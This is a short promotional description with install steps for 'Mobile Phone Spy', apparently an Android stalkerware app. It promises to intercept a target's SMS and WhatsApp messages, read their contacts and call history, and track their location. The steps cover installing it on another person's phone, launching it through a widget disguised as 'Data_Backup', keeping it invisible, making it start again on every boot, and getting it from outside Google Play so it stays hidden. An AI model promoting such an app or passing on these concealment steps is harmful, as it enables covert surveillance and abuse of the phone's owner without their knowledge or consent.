With "Mobile Phone Spy" you can monitor a mobile phone, intercept it's SMS, WhatsApp messages, read a contact list, call history and locate the cell phone. Install the app on a target phone and track it 24/7 on http://Spy2Mobile.com .
How to start the app?
1. Install the app on a target phone, which you would like to monitor.
2. Put "Data_Backup" widget on the screen to start the app. It will be invisible. If you have Android 2.* you can start the app by dialing "51" and then press the call-button.
Start the app once and it will start every time you turn on the phone.
Install "Mobile Phone Spy" from http://Spy2Mobile.com/d and the app will be invisible for Google Play